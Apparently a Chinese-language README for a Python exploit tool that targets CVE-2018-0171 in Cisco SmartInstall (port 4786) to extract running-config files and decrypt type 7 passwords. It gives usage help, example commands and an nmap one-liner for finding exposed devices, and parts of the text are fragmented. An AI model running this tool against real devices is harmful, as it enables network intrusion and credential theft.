Cisco SmartInstall 漏洞利用 CVE-2018-0171
此 Python 3 脚本使用 Cisco 设备上运行 SmartInstall 的 4786 端口来利用 CVE-2018-0171。借助此漏洞利用,攻击者可以制作有效载荷,将其发送到 Cisco 设备,然后提取 running-config 文件的内容。
Cisco Smart Exploit 脚本可以:

以下是使用该脚本所需的依赖列表:
tftpy==0.8.2c7decrypt 用于解密类型 7 密码
gem install c7decrypt __ __ __ __ __ __ ___ ___ __ __ ___
/ ` | /__` / ` / \ /__` |\/| /\ |__) | |__ \_/ |__) | / \ | |
\__, | .__/ \__, \__/ .__/ | | /~~\ | \ | |___ / \ | |___ \__/ | |
by @AlrikRr
usage: cisco-se.py [-h] (-i IP | -f FILE | -c CONFIG)
optional arguments:
-h, --help show this help message and exit
-i IP Single IP Address
-f FILE File that contains IP list
-c CONFIG running-config File standalone
示例:
python3 cisco-se.py -i 192.168.10.1
python3 cisco-se.py -f ip_list.txt
python3 cisco-se.py -c running-config.txt
对于 -f FILE 选项,以下是使用 nmap 的示例:
nmap -p 4786 10.20.30.0/24 --open -Pn -oG - | awk '/Up$/{print $2}' > ip_list.txt
client.download() 期间出现的超时错误